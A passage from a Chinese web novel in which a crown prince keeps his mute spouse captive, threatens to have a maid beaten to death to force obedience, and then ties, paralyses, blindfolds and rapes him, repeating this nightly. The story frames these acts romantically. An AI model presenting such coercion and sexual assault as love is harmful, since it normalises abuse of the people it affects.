顾砚舟推开了药碗,沉默地下床,穿上鞋就去拿外衣,昭月急了,忙把药碗一搁,过来拦住他:“世子妃,您这是要去哪里?殿下今日去了府衙,但是很快就要回来了,外头层层把守……”
顾砚舟披上外衣,绕过她,执着地往外走,刚走出屏风,就见祝时瑾跨进屋门。
看见他,祝时瑾一怔,立刻走过来:“你醒了。”
顾砚舟抿了抿嘴,绕开他往外走。
祝时瑾神色一顿,但那落寞只是一闪而过,下一刻,他就伸手拦住了他。
“外面全是我的人,你逃不掉。”
顾砚舟瞪着他。
祝时瑾看见他这眼神,反而微微一笑:“生气了?如果你答应我不再逃,我就不让他们守着,你想去哪里都可以,只是每天晚上要回到这里。”
顾砚舟皱了皱眉,他不想和他这样说话。
发生了那么多事,他不觉得他们两个还可以这样心平气和地像老熟人一样讲话。
不过他现在本来也说不了话,于是他把脸扭到了一边。
祝时瑾摇摇头:“你还是和以前一样,生气了就是这个表情。昭月,把药端来。”
昭月连忙把药碗端过来,祝时瑾接过,要亲自给他喂药,顾砚舟眉头一皱,抬手就打翻了药碗。
他不要喝药,他不要待在这里。
他们两清了,他不想再欠他什么,他要的是永不相见。
药碗摔在地上一声脆响,四分五裂,药汁也洒了一地。
祝时瑾脸上的一点儿浅浅笑意终于散去了。
“不肯喝药?”他道,“想离开我?”
顾砚舟听出了他话里的几分怒意,把脸转了回来,毫不畏惧地直直望着他,那眼神分明就是在说“是的,没错”。
祝时瑾定定望着他,对峙的气氛有些剑拔弩张。
“你以为我拿你没办法了?”他道,“砚舟,你太心软了,走不掉的。”
顾砚舟皱起了眉,下一刻,就听他说:“既然你觉得他们伺候得不好,那就换一批人。来人,把这院子的所有下人都拉出去,杖毙。”
顾砚舟猛地瞪大了眼睛,难以置信地看着他。
祝时瑾目光平静,好整以暇:“就从昭月开始。”
话音刚落,两名牛高马大的亲兵进屋来,抓起昭月就往外拖,昭月刚刚听到一句杖毙,根本没反应过来,这下才吓得大叫:“殿下!殿下!奴婢知错了!世子妃!世子妃!求您救救奴婢!”
顾砚舟下意识追了两步,又猛地停住。
祝时瑾就在旁静静望着他:“你不是要走了么?你不是要和这里的人都一刀两断么?那你还管她是死是活做什么?”
顾砚舟胸膛起伏,气得脸都红了,看看他,又看看外头被按在地上的昭月,亲兵们可不管是男是女,只遵从殿下的命令,已经高高抬起了木杖——
够了,够了,为什么总是要这样?先是果儿,然后又是昭月,为什么你总要用我重视的人来要挟我?!
你已经抢走了果儿,难道还不够吗?!
顾砚舟死死瞪着那高高举起的木杖——这样的板子,昭月一个细皮嫩肉的小丫头,挨不了几下就残废了。
他可以不管的,可是这是王府里唯一一个真心伺候他的小丫头。
……他没有办法眼睁睁看着她被活生生打死。
他闭了闭眼睛,抬手抓住了祝时瑾的衣袖。
“……”祝时瑾朗声道,“住手。”
亲兵们连忙收回了板子。
“把药端过来。”
昭月惊魂未定,拼命给他们磕头:“谢殿下、谢世子妃。”
而后赶紧起身跑去厨房,重新端了一碗药汤出来,哆哆嗦嗦递给了顾砚舟。
顾砚舟也不管那药汤有多烫,拿过来一口喝干了,闷头就往外走。
祝时瑾微微皱眉:“去哪里?”
问出来,他又意识到顾砚舟不能说话,便道:“你逃不出王府。”
顾砚舟知道自己逃不出去,他只是不愿意再待在这间院子——用果儿要挟他,他不得不放下果儿,用昭月要挟他,他不得不离昭月远一点。
总有一天,他什么都没有了,他也就没法再要挟他了罢。
他一直走到山下,王府外院,祝时瑾一直跟着他,还有一大群王府亲兵严阵以待。
但是,当他的脚步越来越靠近当年的那座破旧小院时,祝时瑾的脸色变了。
他抬手抓住了顾砚舟的胳膊。
“这里太偏僻了,你受着伤,住在这里不方便。”
你也知道这里太偏僻了,做什么都不方便,那你当年把我赶到这里时,想过这些没有?
顾砚舟甩开他的手,时隔数年,再次踏进这间偏僻的小院。
当初他在王府待了半年多,只有最后的一个月在这里度过,但也就是这一个月,让他尝遍了人情冷暖,吃足了苦头,受够了羞辱。
可再次走进这间小院,他的心却很平静。
因为在他离开王府之后,他吃了更多的苦,受了更多的冷眼,日子过得比在这里还不如,现在再回想那一个月,只不过是他自己心里有落差,无法接受从云端跌到洼地罢了。
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可洼地才是他本该待的地方。
现在他已经想明白了,只要他安分地待在洼地,不再往那云端去爬,他也就不会摔得那么惨。
他走进那间空荡荡的小屋,重重关上了门,把祝时瑾挡在门外。
……那片刻,他的世界终于安静了,但也终于只剩下他一个人了。
屋里还是和从前一模一样,一张旧木床,一条长桌一个圆凳,还有床尾的几个箱笼,日光透过窗户纸,将屋里照得亮堂,空气中漂浮着的微小尘埃清晰可见。
顾砚舟怔怔呆立,片刻,走到那长桌前,桌上覆了一层不明显的薄灰,上面只放着他的一本手札,每一页都被人反复翻过,连书页都磨薄了。
可是他没有在手札里记录生活的习惯,这里头只写了些在王府带领亲兵日常训练、巡逻的事项,每一天都只有寥寥几字。
翻过几页,里头就掉出来一封信,他一愣,忽然意识到这是当年他写给殿下的一封辞呈。
——这封辞呈当然没能送出去,如今再打开来看,里头写的那些负气话语,句句都带着留恋,像是斗气要出走却等着别人挽留的小孩儿,真是幼稚可笑。
顾砚舟合上手札,枯坐片刻,身上的伤口隐隐发痛,坐不住了,便只能去旧木床上躺着,这床上的被褥还是硬邦邦的,带着很重的陈味儿,不过他连茅草堆都睡过,也就不讲究这些了。
躺了大半天,伤口的痛并没有熬过去,天色却一点一点黑下来,他起身准备去弄点儿吃的,一出门,昭月却在门口候着,顾砚舟愣了愣,一看院中还有扫撒婆子等粗使下人,就停住了脚步。
“世子妃,您醒了。”昭月连忙叫婆子进屋打扫、换被褥,“是不是现在上饭菜?”
顾砚舟微微皱眉,同她打手语:[你不必再伺候我。]
昭月没有看懂,小心地问:“世子妃,您不想吃东西?”
顾砚舟只好摇摇头,然后点点她,再指向山上。
昭月,你该回清辉苑伺候贵人,而不是待在我这里。
这回昭月看懂了:“世子妃,昭月这条命是您救下的,昭月愿意在这里伺候您。”
要是早几年,顾砚舟也许还会为这话而感动,可是现在他历经起起伏伏,早知道这世上绝大多数人的命运都是不由自己主宰的,昭月也许今天能对他感激涕零,明天就不得不听殿下的命令背叛他。
——他们都只是身不由己的蝼蚁罢了。
蝼蚁不该有任何羁绊和感情,麻木地过完这庸庸碌碌的一生就好了。再多的羁绊与感情,在那身不由己的时刻到来时,只会让蝼蚁显得更可悲、更可笑。
徒增伤心。
顾砚舟没再劝昭月,沉默地用饭,昭月有些忐忑,小声问:“世子妃,您生气了吗?”
顾砚舟摇摇头。
昭月抿了抿嘴,道:“其实,这几年殿下过得很不容易……”
刚开了个头,顾砚舟将筷子一搁,就往屋里走,昭月忙道:“奴婢不说了,不说了,世子妃再多吃些罢。”
顾砚舟这才转回身,可是一转过来,就看见院门口,一个梳着双髻的小脑袋从木门背后冒出来,露出一双滴溜溜的黑眼睛。
16.12.爹爹抱抱
顾砚舟一愣,那双滴溜溜的黑眼睛被他抓包,也愣了愣,随即小声开口:“爹爹……”
只是轻轻一句,很小的声音,顾砚舟的心却跟被针扎了一样,尖锐的刺痛。
拼死生下来,无比艰难地拉扯长大,他在果儿身上倾注了无数的爱,最后却是这样的结果,叫人如何不恨?
他望着果儿,果儿也怯怯地望着他,很久,他才攒够力气,把头转过去,像没看见一样,走到院中的石桌旁,坐下继续吃饭。
果儿两只小手抓着高高的门槛,爹爹不理他,他不敢爬进来,可是爹爹就那样吃着东西,一眼也不看他,没有一点儿搭理他的意思,爹爹还在生气吗?爹爹不会原谅他了吗?
爹爹不要他了吗?
果儿瘪起嘴,泪花很快就在眼中打转了。
顾砚舟麻木地吃着饭菜,嘴里根本尝不出饭菜有什么味道,他听见果儿小声的抽泣,他心乱如麻,他根本不知道要怎么面对这个一定会分离的孩子。
果儿的哭声渐渐大了,像鼓槌一样敲着他的心,他根本吃不下东西了,把筷子往桌上一拍,起身闷头往屋里走。
果儿一下子爆发了,哇的一声哭出来,翻过门槛墩墩墩跑来:“爹爹!爹爹!”
他跑到顾砚舟跟前,拦着他的路不让他进屋去,仰着脑袋伸出两只小手,一边哭一边说:“爹爹抱抱……呜呜……爹爹抱抱……”
顾砚舟心如刀绞,几欲落泪,脚步就像钉在了地上,动弹不得。
他想抱抱果儿,和从前无数次一样,他想把这个从他肚子里掉下来的亲生骨肉再一次紧紧拥在怀中,就好像他还在他肚子里,是他身体的一部分,是他无需任何理由、必须要保护的一部分。
可他记得殿下说过的那句话——他太心软了。
殿下这样的人,一旦洞察了别人的弱点,绝不会轻易放过。
一旦这次他卸下防线,露出破绽,殿下就会紧紧抓住这一丝破绽,乘胜追击,利用果儿将他彻底击溃。
他不知道殿下为什么这么执着于击溃他,他只知道,他输不起了。
他已经失去了还算光鲜的官职、失去了健康无恙的身体,失去了手把手带大的果儿。如果再失去最后一点儿尊严和自由,他活下去还有什么意思呢?
顾砚舟深深吸了一口气,咬牙挺住,绕开张着小手的果儿,走进了屋。
屋门砰的一声关上,果儿哇的一声大哭出来:“爹爹!爹爹!”
他扑到屋门上,拿小手使劲儿拍门,可是那高高的木门沉默而冰冷,任他怎么哭闹拍打,都纹丝不动。
一门之隔,顾砚舟呆立了半晌,恍惚地靠在门上,慢慢滑坐下来。
果儿就在他背后,一边哭一边隔着木门拍着,那力气太小了,微弱的,一下一下的,轻轻拍在他心上,不疼,可是酸酸的,想流泪。
昭月过来哄果儿了,可果儿不是那么好哄的小孩,他更小的一点的时候,比现在还能哭,一旦生病难受,整夜整夜都要哄他。
顾砚舟靠着木门,心里想,以后果儿独自在这里,要掉眼泪的时候,会不会还有很多?
他不敢再想下去了,只祈祷昭月能机灵点儿,赶紧把果儿送回去,送到世子殿下那里去,他不是要抢果儿么?他总得管管他的亲生孩子吧?
“小公子,咱们不哭了,咱们去外边玩儿好不好?”昭月在门外柔声哄着,可是果儿只是一个劲儿地哭、拍门,喊着“爹爹”,别的什么都不听,昭月没办法了,叫人给殿下送消息去,下人却为难道:“殿下下午有急事,去城中府衙了,现在恐怕还在……”
“公事天天都有那么多,哪有办完的一天?殿下的亲骨肉就这一个,你是脑子烧坏了不成,快去送口信!”
下人忙不迭应下了,顾砚舟这才松了一口气,在煎熬中听着果儿哭得嗓子一点一点哑了,天色完全黑下来,终于,门外响起了殿下的声音。
“果儿,乖,爹爹抱。”
祝时瑾身上还穿着外出的华服,衣袍曳地,腰间环佩叮当,将果儿抱起来,抽出一方丝帕给他擦擦哭得通红的小脸蛋儿:“怎么了?哭得这么伤心?”
果儿哭得太久,止不住地抽噎,一边抽噎,一边哑着嗓子说:“爹爹不要我了……呜呜……”
祝时瑾看了看那紧闭的屋门。
他道:“不会的。”
果儿又开始呜呜地哭,小手指着屋门:“爹爹不理我……”
祝时瑾刚要开口,果儿却哭着继续说:“我错了,我骗爹爹了,爹爹不肯原谅我了……呜呜呜……”
祝时瑾有一瞬间怔愣,垂眼望着果儿,目光变得十分复杂,许久,才低声道:“果儿没有错。”
果儿没有错,是爹爹错了,是爹爹不好。
他把果儿的小脸蛋儿擦干净,说:“没关系,果儿,你的娘亲是世界上最心软的人,尤其是对你,他会原谅你的。”
果儿的哭声小了些,抬起脑袋看他,湿漉漉的黑眼睛,像是在问“真的吗”。
祝时瑾微微一笑,指节刮了刮他的脸蛋儿:“要有耐心,来日方长。”
他抱着果儿,最后看了一眼那紧闭的木门,无声叹了一口气,朝外走去。
王府依山而建,这座山名为丹阳山,乃是东南的名山之一,其南北绵延数百里,唯有在宜州这一段,被从西向东流的澧水截断,此处江面狭窄,水流湍急,日积月累,便冲刷出了两岸的峭壁,江水涌出山谷后,下游便堆积出肥沃而平坦的土地。
有天险屏障,有宜耕土地,有取之不尽的水,这才有了澧水南岸的东南第一城——宜州。
王府就建在丹阳山被澧水截断后的这一小片山头上,占了平缓而光照充足的南坡,背靠着陡峭北坡和澧水天险,可谓占尽地利。山脚这一片乃是外院,驻扎着王府亲兵,往上进入内院,才是真正的王府。
祝时瑾抱着果儿上了马车,蜿蜒的青石板山道坡度平缓,马车摇摇晃晃沿着山道往上走,并不颠簸,反而像摇篮似的,果儿哭得太久,早已经累了,上车没多久,就在他怀里睡着了。
马车停下,祝时瑾抱着熟睡的果儿,放轻脚步下了车。夜里山风微凉,昭文很有眼力见儿,赶紧叫人拿来薄毯,呈给殿下。
祝时瑾单手接过来,给果儿披上,不过他单臂抱孩子的姿势仍有些不熟练,果儿眉头皱了皱,动了动小身子。
众人登时紧张,好在果儿只是动了几下,就在父亲的肩膀上找到更舒服的位置,小脸蛋儿趴着挤成一团,继续睡觉了。
祝时瑾侧头看了看果儿,松了一口气,抬手轻轻拍
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了拍孩子的脊背。
小小的,软软的身子,脊背就和他一只手差不多大。抱着自己失而复得的亲生骨肉,感受着鲜活的体温和可怜可爱的小小身体,这感觉十分温暖慰藉,令人心生无限柔情。
祝时瑾微微一笑,一边轻轻给果儿拍着觉觉,一边走进院去。
“殿下,照着咱们从婆子那儿得来的生辰八字,小公子这个月底就要满四岁了,王妃今日答应了代为操办,但这宾客名单得由您拟定。”昭文在旁道。
照理这些事儿该世子妃操办,但如今顾砚舟还在山下不肯回来,祝时瑾公务繁忙,只得请母亲出面操持,
祝时瑾思索片刻,戴着红玛瑙扳指的那只手一下一下轻轻拍着果儿,低声道:“我与砚舟大婚的宾客名单还在,照着那个,再添些人。”
昭文有些迟疑,虽说这是小公子回到王府的第一个生日,但是四岁生日和世子大婚的排场相比……
察觉他没立刻回话,祝时瑾瞥了他一眼:“当年大婚仓促,宜州不少人都知道其中缘由,总觉得砚舟是假世子妃。可我和他既然没有和离,再补一次大婚也不能了,这次恰巧接他回来,就给他补上,堵住那些人的嘴。”
“礼毕之后,请封世子妃诰命。就这么答复母亲。”
昭文忙道:“是。”
他匆匆去拟宾客名单,祝时瑾进了屋,将果儿放在内间的雕花木床上,婆子们十分机灵,立刻找来柔软蓬松的小枕头,给果儿枕着。
果儿睡得很熟,呼吸平稳,小肚子一起一伏的,祝时瑾给他盖上薄毯,把他两只握成拳头的小手搁在毯上,正要起身,果儿似有所觉,小手抓住了他的拇指,正好抓在那象征着世子权力的红玛瑙扳指上。
……这孩子,好像总是害怕大人在他睡梦中离开。
恰在此时,昭文在门外道:“殿下,名单请您过目。”
祝时瑾只得脱下扳指让他抓住,起身去了书房。
还没片刻,那边屋里就传来了果儿的哭声,婆子急急把人抱来:“殿下,您一走,小公子就醒了。”
果儿两只黑眼睛湿漉漉的,瘪着嘴发出小声的抽泣,一看见他,就张开小手要抱抱,这是他第一回主动要祝时瑾抱,新手父亲不免有些受宠若惊,把他抱过来柔声地哄。
“怎么不睡觉?嬷嬷说你没吃晚饭就去山下了,是不是饿了?”
果儿只是害怕他走了,就像每次爹爹趁他睡觉就出发去海上那样,这会儿看见他还在,就不哭了,拿小手抹抹眼泪,点点头。
下人们连忙去准备饭食,祝时瑾抱着他继续看宾客名单,果儿就坐在他怀里东张西望,小声问:“这是哪里?”
“是爹爹的院子。”
果儿张望片刻,伸出小手一指:“那个画的是谁?”
祝时瑾顺着他指的方向一看,笑了笑:“画的就是爹爹。那画像还是当年你娘亲买的呢,你看,画里的人是不是和爹爹一模一样?”
果儿这么小,也看不出来像不像,听他这么说,就懵懂地点点头,照着那画像,把手里抓着的扳指套在了他的食指上。
祝时瑾笑着把扳指戴回拇指:“是戴在这里。”
果儿抓抓脑袋:“画里那个人不是戴在这里呀。”
祝时瑾的笑猛然僵住了。
17.13.爱不爱我
仲夏天气多变,晴了一整天,到了半夜,却突然下起雨来。
顾砚舟喝了今日最后一次药汤,昭月给他拆了伤口的纱布,重新敷上药粉,再用新纱布一圈圈缠上,婆子们正抓紧时间给屋里的旧木床换上崭新的被褥,顾砚舟看着她们忙碌,想说根本没必要换,自己受伤昏迷躺了这么久,身上都快馊……
不对,没有馊。
他这时才意识到,这么热的天气,一天能出一身汗的自己,身上居然没有一点儿异味。
衣裳也不是之前那身——这他当然知道,他受过很多次伤,大夫要给伤口缝针,就得把衣裳剪了,他原来的衣裳想必早就成了一堆碎布。
但是没有异味这件事……谁给他擦的身?
他脑海里隐约有个不敢置信的猜测,刚浮现出来就被他自己立刻否定了。
“世子妃,好了。”昭月缠好纱布,帮他披上寝衣,“奴婢伺候您洗漱擦身。”
顾砚舟摇摇头。
原先他还在清辉苑时,洗漱擦身也是不要丫鬟伺候的,这会儿他右侧肩上和手臂上都是伤,不过左手勉强能用,昭月便给他拉开屏风,挡住浴桶,让他自个儿去擦洗。
屋外的雨越下越大,淅淅沥沥的雨声中,似乎传来一阵急促的脚步声,顾砚舟动了动耳朵,这个脚步声,像是……
下一刻,屋门被人猛地踹开。
屋里的丫鬟婆子吓得尖叫,昭月一看来人,失声道:“殿下?”
顾砚舟心中咯噔一下,连忙披上衣裳走出屏风。
一看屋门口,祝时瑾的衣裳下摆都被雨水溅湿了,脸色阴沉得可怕,昭文在后为他撑着伞,跑得气喘,这副急匆匆的样子……难道果儿出了什么事?
未等他想明白,祝时瑾大步走过来一把抓住他的胳膊:“顾砚舟,你竟骗我,你怎么敢?你怎么敢?!”
最后一句几乎是吼出来的,一众下人哪里见过殿下发这么大的火,吓得忙不迭退出屋去,给他们关上屋门。
顾砚舟愣住了。
我骗你?
我何时骗过你?
然而,祝时瑾下一句话就让他呆立当场。
“你中意兄长,答应为那场比武招亲大会压台,就是为了娶他,是不是?!”
顾砚舟始料未及。
——倒不是心虚或是愧疚,而是……这都是多久以前的事了?后来他嫁入王府成为世子妃,他们有了夫妻之实,现在都已经生了孩子,孩子都快四岁了!现在提这些,为这个发脾气,不是借题发挥么?!
顾砚舟一把甩开他的手,指着门口,示意他出去。
祝时瑾登时怒火中烧:“顾砚舟,回答我!”
怎么回答?
他的嗓子哑了,怎么回答?!
那一瞬间顾砚舟心里升起一阵难言的悲愤。
当年我为了救你被割了喉咙,再也无法说话,现在你叫我开口回答你?!
你的心是石头做的吗?半条命搭给你,你都不会放在心上的吗?!
他气得眼睛都红了,张开嘴,努力发出微弱的气声,表达自己的愤怒,可那声音一发出来,就被屋外哗啦啦的倾盆暴雨之声完全盖住,根本听不见。
说不了话。
说不了话!
为什么我说不了话!
顾砚舟双目通红,胸口剧烈起伏,浑身都气得开始发抖了,可唯一能做的依然只有抬手指着门口。
“你从一开始就没想过要嫁进王府,为什么后来还要勾引我?!”祝时瑾抬手一把握住他的下巴,“见识过王府的荣华富贵,你不甘心了?你想攀高枝了?!为了不再过以前的苦日子,一边心里想着别人,一边来爬我的床?!”
啪——
一道清亮的巴掌声。
祝时瑾被打得偏过头去,难以置信地,抬手抚住脸颊,一点一点,转回来看他。
“你打我。”他红着眼睛,一字一句道,“要是他在你跟前,你也舍得打他么?”
顾砚舟皱起眉。
下一刻,祝时瑾猛地将他一抱,顾砚舟猝不及防,极近距离闻到他身上的梅花香味,登时脑中嗡的一声响,一片空白。
就在他怔愣的片刻,祝时瑾将他寝衣腰带一扯,绕在他双腕打了个死结,顾砚舟心中咯噔一下,抬脚要踢他,可出腿时到底犹豫了片刻,就被他瞅准空隙,在后腰重重一点,登时整段腰连着两条腿都麻了,身子软绵绵的,整个人就往地下滑去。
“你要攀高枝,就攀到底。”祝时瑾接住他,那扣在他腰上的手像钢爪一样,几乎把他的腰掐断,但掌心又烫得吓人,“那时候怎么爬的床,现在都忘了么?”
顾砚舟两只眼睛恨恨瞪着他。
又要来了。
他一点都没变。
莫名其妙地生气,莫名其妙的理由,反正他是高高在上的世子殿下,玩弄一个位卑言轻的武将还不简单么?
起了兴致就召来,不想要了就踢开,他只是他瞧不上又不想丢的一个旧玩具,只要他一天没玩够,玩具就别想自己长腿跑掉。
他愤怒的目光让一双黑眼珠亮得惊人,祝时瑾压在他身上,这样看了他很久。
而后,他抽出丝帕蒙住了他的眼睛。
一片黑暗中,已经很久没有被开拓过的荒地,再一次被打开了。
带着怒火,也带着久别重逢的急切,顾砚舟拼命往后退,祝时瑾却扣住他的腰,将他一把拖回来。
那两只滚烫的手像噩梦、像烙铁,紧紧钳制着他,让他无论如何都逃不脱,在他的腰上烙下烧红一般的印记,烫得他整个人都在颤抖,顾砚舟缩了起来,难以抑制地发出嘶哑的、难听的叫声,被绑着的双手奋力去推他的胸膛。
祝时瑾抓住他的一双手,让他按在自己心口,那里咚咚咚地狂跳,顾砚舟愣了一愣。
这石头做的心,也会跳得这么快么?
就在他晃神的这片刻,祝时瑾把他拉了下来。
……
恍惚中,他想到多年前求殿下让自己留在王府的那个晚上,在书房。
他们有了果儿,那一回是殿下赢了。
这一回……你又赢了。
顾砚舟像条濒死的鱼,伏
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在凌乱的被褥中,大口大口喘息。
片刻,祝时瑾扶着他翻了个身,让他能平躺着。
他的眼睛依然被蒙着,可是他能感觉到,额头上落下了一个凉凉的吻。
……这算什么?
够了。我不想猜了。
他疲倦地闭上了眼睛。
……
这一晚之后,祝时瑾每晚都会过来。
顾砚舟每次都会反抗,可最后还是被压住强行行事。他没法说话,被欺负得狠了也只是嘶哑地叫两声,祝时瑾也不说话,两个人像两头沉默地角斗的兽,谁也不肯让步。
直到半个月后,顾砚舟再次病倒。
这一次的病来得突然,高烧不止,神医过来看诊,叹着气直摇头:“殿下,老夫已经叮嘱过,世子妃现在身子底子差,行房很伤元气。”
祝时瑾难得面色讪讪,片刻,道:“这次病倒,是因为房事过度?”
“身体虚弱时,吹个风都能病倒,一点儿小病都要熬很久。”神医开了方子,“切记,禁房事。”
祝时瑾接过方子,递给昭文,又问:“那他的嗓子如何?”
“外伤并不严重,已经好了大半,只要世子妃肯开口,勤加练习,慢慢的,就会恢复说话能力。”
祝时瑾重重松了一口气。
“殿下可别太早松懈。”神医道,“就是开口这一步才难呢,世子妃现在愿意开口说一句话么?”
“……”
别说是开口,就连手语都很少比划了。
祝时瑾微微蹙眉,半晌,问:“要是好好休养,三日之后,他的病会好转么?”
神医无奈道:“殿下,老夫虽有神医的称号,可再神,还是个医者,不是真神仙。现在烧得人都糊涂了,您要他三日之后就活蹦乱跳,怎么可能呢?”
“三日之后,是果儿的四岁生辰,他是果儿的亲生母亲,要是去不了,岂不遗憾。”
“您要是觉得遗憾,先前就不该这么折腾。”神医开始收拾药箱,“到这时候了想起我来了,我就三个字——没、办、法。”
直到深夜,顾砚舟的烧才慢慢退下去,醒过来时,头昏眼花,手脚发软,连呼吸都带着火一般的灼热。
“舒服些了么?”
听见这道熟悉的声音,他勉强抬眼,看见殿下正坐在床边,又把眼睛闭上了。
“……”祝时瑾道,“把药喝了,三日后是果儿生辰,我叫人给你做好了新衣,你们有半个月没见面了。”
顾砚舟一愣,这才恍惚想起,果儿的确是在八月底过生辰。
可是……
他现在这个样子,去了也只是给果儿的身份添上几笔不光彩的阴影。
果儿有王府的亲生父亲、祖父祖母,已经够了。
他吃力地翻了个身,背对着祝时瑾,把自己裹进被子里,像缩进了一个完全封闭的壳,与外界隔绝。
他就这样头昏眼花地蜷在里面,一动不动,让那些伤静静地敞着,让它自己慢慢恢复。
只要是伤,总会自己长好的,就像以前无数次那样。
18.14.果儿生辰
三日后,果儿的生辰宴如期举行。
天还没亮,王府门口就排起了长长的队伍,全是前来祝贺的宾客,宜州城内有头有脸的人家、东南府衙有品级的文官武将,几乎全都在这里了。
王府大门外也摆了整整一条街的流水席,大清早就开席,赶来吃流水席的老百姓们兴高采烈、热闹非凡,一边瞅着那些在大门处排着队等着入府的贵人们,一边热火朝天地议论。
“这回大摆宴席,是给哪位公子庆生?王府不就只有前几年出生的那一位三公子了么?我记得还不到三公子的生辰呀!王爷王妃又生了一个?”
“什么又生了一个,你没听人说吗?是世子殿下的长子!未来的大公子!”
“世子殿下的长子?可是世子妃不是已经死……”话还没说完,这人被同伴一把捂住嘴:“小点儿声!”
他赶紧压低声音:“不是死在海上了么?殿下也没再娶,这个难道是私生子?”
同伴拍了一下他的脑袋:“你傻啦?王府会给私生子办这么大排场的生辰宴?”
又有人神神秘秘地开口:“我听人说,世子妃没死呢,自己在外面生下了孩子,这次被殿下找回来了。”
“既然没死,为什么这几年一点儿消息都没有?早点儿传消息回来,殿下就能早点去接他们,就不用在外面过苦日子啊!”
“谁知道呢。也许在王府的日子并没有咱们想的那么好,要不然,怎么会有人放着荣华富贵不享,跑到外面去躲起来。”
“有道理啊。我还记得前几年传过风声,说要重新选妃的,想必殿下对这个世子妃也不满意,毕竟是乾君嘛。”
“对对对,我也记得呢!殿下不喜欢他,他在王府的日子肯定过得不好,这才跑了!”
……
王府内院,果儿被摆弄着小手小脚穿上精美绝伦的锦衣,戴上祝时瑾命人给他赶制的多宝多福冠,纯金发冠镶满了各色珠宝,沉甸甸的,一戴上去,把他耷拉着的小脑袋压得更低了。
祝时瑾进屋看见,道:“怎么,今天不开心?”
果儿闷闷不乐的,不作声。
“来,跟爹爹出去,客人们都到了。”
婢女抱着果儿从圆凳上下来,果儿垂头耷脑的,走了几步,停住了。
“我不想去了。”
屋里所有人都愣了愣。
婢女们连忙伏低身子哄他:“公子,怎么了?今天打扮得漂漂亮亮的,那么多人来给你庆祝生辰,出去玩一玩儿多好呀?”
果儿一撇嘴,抬手把头上的发冠一把抓下来,重重砸在地上:“我说不去了!”
纯金的发冠摔在地上,镶嵌的珍珠宝石四散飞溅。
婢女们吓得纷纷跪倒,不敢多言。
祝时瑾望着他,果儿也抬眼瞪他,相似的眉眼、面容,连脾气都一模一样。
……真是他的孩子,砚舟可不是这个脾气的。
祝时瑾叹了一口气,半蹲下来,和果儿平视:“你不是答应了爹爹,今天会乖乖的么?”
“你也答应我了,说爹爹会来的!”果儿握紧两个小拳头,声音比他大多了,“我有好好上课,每天都做功课做到好晚,你说过这样爹爹就会来看我的!我都做到了!”
“……”祝时瑾道,“爹爹已经给娘亲送去了新衣和首饰,有人在那里等着伺候他,只要他愿意,马上就能来看你。”
果儿愤怒的小脸上产生了几分犹豫和动摇。
“可是你说爹爹生病了,起不来,那他不就不能来了吗?”他说着,声音又大起来了,“肯定是你害他生病的!你这个大坏蛋!”
“……”祝时瑾道,“好罢,是爹爹食言了。不过,如果你乖乖的,宴会之后,爹爹就带你去看娘亲。”
果儿已经有半个月没见到爹爹了,虽然知道见了面,爹爹也不愿意搭理自己,可是、可是……爹爹才是世界上最爱他的人,那种全心全意的爱,和大坏蛋给他锦衣玉食的这种爱,是不一样的。
爹爹会原谅他的吧?
如果不原谅的话,他就多求一求爹爹好了。
果儿撇撇嘴:“那这回你要说话算数。”
外院熙熙攘攘的宾客们,终于在午宴开席的前一刻,见到了今日的小寿星。
“哎,来了来了,快看。”
“就是殿下抱着的那孩子?”
众人都好奇得要命,自从半个月前接到请柬,宜州城里关于这个孩子的传闻都已换了好几个说法了——但生辰宴的邀请函上又明明白白写的是四岁,四岁的孩子,那不就是殿下当年迎娶那个乾君世子妃的时候……
乾君生孩子很少见,但也不是没有,闻大公子的父母就都是乾君,但是当年那个乾君世子妃,不是王府为了避祸应急才让殿下娶的么?
而且那人后来也已经死在海上……要是没死,为何四年都不回宜州?
要是殿下在当年就另有佳人,又为什么等到孩子都四岁了才昭告天下?
这些谜团太难解释,众人的好奇心简直压都压不住,刚刚人没出现,还能勉强维持矜持,这下一听见殿下抱着孩子出来了,登时齐刷刷伸长了脖子往那边看去——
“……天哪。”众人纷纷倒吸一口凉气,“和殿下简直是一个模子刻出来的。”
离得近的宾客们,已经起身去道贺了,只是这位小寿星今日不知为何心情不佳,小嘴噘得能挂油瓶,连和殿下走得最近的闻大人拿着价值连城的夜明珠当筹码,他也不肯让人家抱一下,小脑袋一扭,扎进父亲怀里不抬头了,留给闻大人一个冷酷的后脑勺。
祝时瑾微微一笑,拍拍果儿小小的脊背安抚片刻,带些微妙的炫耀,同闻敬珩道:“果儿还小,怕生。”
闻敬珩:“……”
闻敬珩有点儿酸酸的嫉妒:“小公子长得和殿下真像。”
“我的孩子,当然像我。”
“……”闻敬珩有点儿受不了了,说,“怎么不见顾砚舟?”
祝时瑾的笑容顿了顿,没有回答,只道:“我已向陛下请旨,为砚舟封世子妃诰命,日后见面,你可要改口。”
两人是从小一块儿长大的好友,所以祝时瑾这话的语气并不像一句命令——可如果不是命令,他何必在大庭广众之下提起?
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闻敬珩出身世家,父亲是东南府署的现任常侍,王爷的左膀右臂,闻敬珩本人也在府署中身居要职,是宜州年轻一辈世家子弟的领头羊,连他都要改口,其他人还能有例外?
众人都在心里倒吸了一口凉气,相应的,对那些盛嚣尘上的流言也就有了判断——请封世子妃诰命,这孩子必定是顾砚舟给殿下生下的孩子了,虽是个坤君,但和殿下长得像,四岁了还抱在怀里,就跟王爷当年宠大公子似的,这顾砚舟可不就母凭子贵了么!
于是立刻有机灵的开始拍马屁:“恭喜殿下,接回世子妃和小公子,一家人团团圆圆,这真是命中注定的缘分,世子妃和小公子都是有福之人呐!”
“恭喜殿下!恭喜殿下!小公子洪福齐天,将来必定是人中龙凤!”
“那就祝殿下和世子妃再生贵子,生个小殿下,我们就等着好消息!哈哈哈哈!”
祝时瑾脸上有了些笑容:“承各位吉言。”
远远的,一处偏僻的角门后,顾砚舟悄无声息地踏过青石板铺就的小道,从八角窗格中露出一双略显疲惫的眼睛。
他瘦得厉害。
几年的漂泊生涯没有击垮他,可卧床这短短一个月,他整个人就瘦得脱了形,消沉阴郁,穿着晃晃荡荡过于宽松的旧袍子,有几分形销骨立的味道。
隔着熙熙攘攘的人潮,他遥遥望向那对被众星拱月般簇拥着的父子。
世子殿下锦衣华服,俊美逼人,怀里抱着的果儿也是个粉雕玉琢的漂亮娃娃,真是一对走到哪儿都耀眼夺目的父子。
真好。
这才是一对真正的父子。
果儿终于回到了他本该待的位置。
办完了这场生辰宴,他就正式在王府立足了,这样大的排场、这么多的宾客,足见殿下对他的重视和宠爱。没有人再会质疑他的身份、质疑他在王府的地位,他会平安幸福地长大的。
这样,顾砚舟最后的一点儿牵挂也能了却了。
